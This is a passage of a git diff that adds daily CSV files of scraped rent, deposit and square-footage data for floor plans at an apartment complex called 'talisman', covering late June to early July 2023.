+20230628,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230628,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230628,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230628,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230628,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230628,talisman,C1 (2x2),2 Bed 2 Bath,"$3,676",$300,1029 - 1294 sq.ft.,None,N/A +20230628,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230628,talisman,C7 (2x2),2 Bed 2 Bath,"$3,426",$300,1074 - 1131 sq.ft.,None,N/A +20230628,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,721",$300,1140 - 1185 sq.ft.,None,N/A +20230628,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230628,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230628,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230628,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,822",$300,1228 - 1296 sq.ft.,None,N/A +20230628,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230628,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230628,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230628,talisman,D1 (3x2),3 Bed 2 Bath,"$3,801",$300,1241 - 1362 sq.ft.,None,N/A +20230628,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230628,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230628,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230629.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230629.csv new file mode 100644 index 00000000000..db1f49d9b93 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230629.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230629,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230629,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230629,talisman,A10 (1x1),1 Bed 1 Bath,"$2,050",$300,578 - 665 sq.ft.,None,N/A +20230629,talisman,A1 (1x1),1 Bed 1 Bath,"$2,070",$300,604 - 671 sq.ft.,None,N/A +20230629,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230629,talisman,A3 (1x1),1 Bed 1 Bath,"$2,120",$300,609 - 642 sq.ft.,None,N/A +20230629,talisman,A2 (1x1),1 Bed 1 Bath,"$2,095",$300,617 - 715 sq.ft.,None,N/A +20230629,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230629,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230629,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230629,talisman,B5 (1x1),1 Bed 1 Bath,"$2,638",$300,674 - 775 sq.ft.,None,N/A +20230629,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230629,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230629,talisman,A5 (1x1),1 Bed 1 Bath,"$2,235",$300,734 - 739 sq.ft.,None,N/A +20230629,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230629,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230629,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230629,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230629,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230629,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230629,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230629,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230629,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230629,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230629,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230629,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230629,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230629,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230629,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230629,talisman,C1 (2x2),2 Bed 2 Bath,"$3,649",$300,1029 - 1294 sq.ft.,None,N/A +20230629,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230629,talisman,C7 (2x2),2 Bed 2 Bath,"$3,399",$300,1074 - 1131 sq.ft.,None,N/A +20230629,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,764",$300,1140 - 1185 sq.ft.,None,N/A +20230629,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230629,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230629,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230629,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,865",$300,1228 - 1296 sq.ft.,None,N/A +20230629,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230629,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230629,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230629,talisman,D1 (3x2),3 Bed 2 Bath,"$3,774",$300,1241 - 1362 sq.ft.,None,N/A +20230629,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230629,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230629,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230630.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230630.csv new file mode 100644 index 00000000000..589efdc09f7 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230630.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230630,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230630,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230630,talisman,A10 (1x1),1 Bed 1 Bath,"$2,006",$300,578 - 665 sq.ft.,None,N/A +20230630,talisman,A1 (1x1),1 Bed 1 Bath,"$2,026",$300,604 - 671 sq.ft.,None,N/A +20230630,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230630,talisman,A3 (1x1),1 Bed 1 Bath,"$2,076",$300,609 - 642 sq.ft.,None,N/A +20230630,talisman,A2 (1x1),1 Bed 1 Bath,"$2,051",$300,617 - 715 sq.ft.,None,N/A +20230630,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230630,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230630,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230630,talisman,B5 (1x1),1 Bed 1 Bath,"$2,638",$300,674 - 775 sq.ft.,None,N/A +20230630,talisman,B2 (1x1),1 Bed 1 Bath,"$2,693",$300,706 - 739 sq.ft.,None,N/A +20230630,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230630,talisman,A5 (1x1),1 Bed 1 Bath,"$2,191",$300,734 - 739 sq.ft.,None,N/A +20230630,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230630,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230630,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230630,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230630,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230630,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230630,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230630,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230630,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230630,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230630,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230630,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230630,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230630,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230630,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230630,talisman,C1 (2x2),2 Bed 2 Bath,"$3,649",$300,1029 - 1294 sq.ft.,None,N/A +20230630,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230630,talisman,C7 (2x2),2 Bed 2 Bath,"$3,399",$300,1074 - 1131 sq.ft.,None,N/A +20230630,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,797",$300,1140 - 1185 sq.ft.,None,N/A +20230630,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230630,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230630,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230630,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230630,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230630,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230630,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230630,talisman,D1 (3x2),3 Bed 2 Bath,"$3,774",$300,1241 - 1362 sq.ft.,None,N/A +20230630,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230630,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230630,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230701.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230701.csv new file mode 100644 index 00000000000..46ac0a177ab --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230701.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230701,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230701,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230701,talisman,A10 (1x1),1 Bed 1 Bath,"$2,006",$300,578 - 665 sq.ft.,None,N/A +20230701,talisman,A1 (1x1),1 Bed 1 Bath,"$2,026",$300,604 - 671 sq.ft.,None,N/A +20230701,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230701,talisman,A3 (1x1),1 Bed 1 Bath,"$2,076",$300,609 - 642 sq.ft.,None,N/A +20230701,talisman,A2 (1x1),1 Bed 1 Bath,"$2,051",$300,617 - 715 sq.ft.,None,N/A +20230701,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230701,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230701,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230701,talisman,B5 (1x1),1 Bed 1 Bath,ContactUs,$300,674 - 775 sq.ft.,None,N/A +20230701,talisman,B2 (1x1),1 Bed 1 Bath,"$2,693",$300,706 - 739 sq.ft.,None,N/A +20230701,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230701,talisman,A5 (1x1),1 Bed 1 Bath,"$2,191",$300,734 - 739 sq.ft.,None,N/A +20230701,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230701,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230701,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230701,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230701,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230701,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230701,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230701,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230701,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230701,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230701,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230701,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230701,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230701,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230701,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230701,talisman,C1 (2x2),2 Bed 2 Bath,"$3,649",$300,1029 - 1294 sq.ft.,None,N/A +20230701,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230701,talisman,C7 (2x2),2 Bed 2 Bath,"$3,399",$300,1074 - 1131 sq.ft.,None,N/A +20230701,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,797",$300,1140 - 1185 sq.ft.,None,N/A +20230701,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230701,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230701,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230701,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230701,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230701,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230701,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230701,talisman,D1 (3x2),3 Bed 2 Bath,"$3,774",$300,1241 - 1362 sq.ft.,None,N/A +20230701,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230701,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230701,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230702.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230702.csv new file mode 100644 index 00000000000..a4fb6dd26c0 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230702.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230702,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230702,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230702,talisman,A10 (1x1),1 Bed 1 Bath,"$2,006",$300,578 - 665 sq.ft.,None,N/A +20230702,talisman,A1 (1x1),1 Bed 1 Bath,"$2,026",$300,604 - 671 sq.ft.,None,N/A +20230702,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230702,talisman,A3 (1x1),1 Bed 1 Bath,"$2,076",$300,609 - 642 sq.ft.,None,N/A +20230702,talisman,A2 (1x1),1 Bed 1 Bath,"$2,051",$300,617 - 715 sq.ft.,None,N/A +20230702,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230702,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230702,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230702,talisman,B5 (1x1),1 Bed 1 Bath,"$2,653",$300,674 - 775 sq.ft.,None,N/A +20230702,talisman,B2 (1x1),1 Bed 1 Bath,"$2,693",$300,706 - 739 sq.ft.,None,N/A +20230702,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230702,talisman,A5 (1x1),1 Bed 1 Bath,"$2,191",$300,734 - 739 sq.ft.,None,N/A +20230702,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230702,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230702,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230702,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230702,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230702,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230702,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230702,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230702,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230702,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230702,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230702,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230702,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230702,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230702,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230702,talisman,C1 (2x2),2 Bed 2 Bath,"$3,649",$300,1029 - 1294 sq.ft.,None,N/A +20230702,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230702,talisman,C7 (2x2),2 Bed 2 Bath,"$3,399",$300,1074 - 1131 sq.ft.,None,N/A +20230702,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,797",$300,1140 - 1185 sq.ft.,None,N/A +20230702,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230702,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230702,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230702,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230702,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230702,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230702,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230702,talisman,D1 (3x2),3 Bed 2 Bath,"$3,774",$300,1241 - 1362 sq.ft.,None,N/A +20230702,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230702,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230702,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230703.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230703.csv new file mode 100644 index 00000000000..3cf63eac711 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230703.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230703,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230703,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230703,talisman,A10 (1x1),1 Bed 1 Bath,"$1,976",$300,578 - 665 sq.ft.,None,N/A +20230703,talisman,A1 (1x1),1 Bed 1 Bath,"$1,996",$300,604 - 671 sq.ft.,None,N/A +20230703,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230703,talisman,A3 (1x1),1 Bed 1 Bath,"$2,046",$300,609 - 642 sq.ft.,None,N/A +20230703,talisman,A2 (1x1),1 Bed 1 Bath,"$2,021",$300,617 - 715 sq.ft.,None,N/A +20230703,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230703,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230703,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230703,talisman,B5 (1x1),1 Bed 1 Bath,"$2,671",$300,674 - 775 sq.ft.,None,N/A +20230703,talisman,B2 (1x1),1 Bed 1 Bath,"$2,626",$300,706 - 739 sq.ft.,None,N/A +20230703,talisman,A4 (1x1),1 Bed 1 Bath,"$2,136",$300,713 - 716 sq.ft.,None,N/A +20230703,talisman,A5 (1x1),1 Bed 1 Bath,"$2,161",$300,734 - 739 sq.ft.,None,N/A +20230703,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230703,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230703,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230703,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230703,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230703,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230703,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230703,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230703,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230703,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230703,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230703,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230703,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230703,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230703,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230703,talisman,C1 (2x2),2 Bed 2 Bath,"$3,649",$300,1029 - 1294 sq.ft.,None,N/A +20230703,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230703,talisman,C7 (2x2),2 Bed 2 Bath,"$3,399",$300,1074 - 1131 sq.ft.,None,N/A +20230703,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,816",$300,1140 - 1185 sq.ft.,None,N/A +20230703,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230703,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230703,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230703,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230703,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230703,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230703,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230703,talisman,D1 (3x2),3 Bed 2 Bath,"$3,819",$300,1241 - 1362 sq.ft.,None,N/A +20230703,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230703,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230703,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230704.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230704.csv new file mode 100644 index 00000000000..0563c8fd1ac --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230704.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230704,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230704,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230704,talisman,A10 (1x1),1 Bed 1 Bath,"$1,941",$300,578 - 665 sq.ft.,None,N/A +20230704,talisman,A1 (1x1),1 Bed 1 Bath,"$1,961",$300,604 - 671 sq.ft.,None,N/A +20230704,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230704,talisman,A3 (1x1),1 Bed 1 Bath,"$2,046",$300,609 - 642 sq.ft.,None,N/A +20230704,talisman,A2 (1x1),1 Bed 1 Bath,"$1,986",$300,617 - 715 